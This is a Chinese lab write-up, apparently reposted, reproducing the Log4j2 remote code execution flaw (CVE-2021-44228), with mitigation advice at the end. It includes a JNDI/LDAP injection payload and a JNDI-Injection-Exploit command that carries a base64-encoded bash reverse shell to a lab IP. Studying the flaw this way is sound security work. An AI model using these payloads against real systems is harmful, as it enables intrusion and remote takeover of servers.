Log4j2远程命令执行(CVE-2021-44228)

这篇具有很好参考价值的文章主要介绍了Log4j2远程命令执行(CVE-2021-44228)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞原理

该漏洞是由于,在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

漏洞影响范围

2.0 <= Apache Log4j2<= 2.14.1

漏洞复现过程

Log4j2远程命令执行(CVE-2021-44228)
启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。
Log4j2远程命令执行(CVE-2021-44228)
Log4j2远程命令执行(CVE-2021-44228)
首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。

payload=${jndi:ldap://dnslog地址/}并将其进行url转码。

Log4j2远程命令执行(CVE-2021-44228)
如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是将payload全部进行url编码。(这一块之所以需要编码,可能是环境的问题)
Log4j2远程命令执行(CVE-2021-44228)
Log4j2远程命令执行(CVE-2021-44228)
下面为了获取shell反弹,需要先进行bash指令base64编码。
base64转码地址:https://ares-x.com/tools/runtime-exec
Log4j2远程命令执行(CVE-2021-44228)
使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.5.129

Log4j2远程命令执行(CVE-2021-44228)
此处我选择的是Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)的结果。
Log4j2远程命令执行(CVE-2021-44228)
Log4j2远程命令执行(CVE-2021-44228)在此处可以发现,首先通过rmi远程监听,接收到远程调用后,将其转发至payload地址,调用exp。
Log4j2远程命令执行(CVE-2021-44228)
成功getshell。

Log4j2远程命令执行(CVE-2021-44228)

我采用的是较为简单便捷的方法进行复现,全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具,另外,还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。可以使用marshalsec-0.0.3-SNAPSHOT-all.jar进行rmi监听,使用ysoserial生成poc。

漏洞修复建议

及时升级log4j组件。
临时建议
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
在应用classpath下添加log4j2.component.properties配置文件,文件内容为 log4j2.formatMsgNoLookups=true
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
部署使用第三方防火墙产品进行安全防护。

参考链接

Log4j2漏洞环境搭建及复现:http://www.plumstar.cn/2022/11/14/Apache%20Log4j2%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8F%8A%E5%A4%8D%E7%8E%B0/
Log4j2漏洞原理、复现与利用:https://www.cnblogs.com/hellobao/articles/17249334.html
CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现:https://blog.csdn.net/weixin_44309905/article/details/122316579文章来源地址https://www.toymoban.com/news/detail-440463.html

到了这里,关于Log4j2远程命令执行(CVE-2021-44228)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

    刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。 影响版本:log4j 2.x = 2.14.1 漏洞简介 首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的

    2024年02月08日
    浏览(31)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(31)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(39)
  • Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

    Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击

    2024年02月08日
    浏览(30)
  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(75)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(38)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(29)
  • 【springboot】--集成log4j2日志功能

    springboot2.0版本默认集成logback日志框架,由于项目业务采集各种日志(系统日志、接口调用日志、业务日志)等,需要做一些定制化的业务。为了,这里介绍如何集成log4j2,按照规格输出日志,另外按照要求输出成文件。下面将具体介绍! pom引入

    2024年02月12日
    浏览(50)
  • Spring6入门 + Log4j2

    JDK:Java17+ (Spring6要求JDK最低版本是Java17) Maven:3.6+ Spring:6.0.2 (1)构建父模块spring6 在idea中,依次单击 File - New - Project - New Project 点击“Create”,删除src目录,准备创建子工程 (2)构建子模块spring6-first 点击 Create 完成 3.1、引入依赖 https://spring.io/projects/spring-framework#le

    2024年02月07日
    浏览(27)
  • springboot 日志管理之 log4j2

    1、log4j2 简介         Apache Log4j2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。 被誉为是目前最优秀的Java日志框架。 2、项中引入 log4j2 的方式 2.1、springboot 项目中 2.2、普通 java 项目中 3、在项

    2024年01月15日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包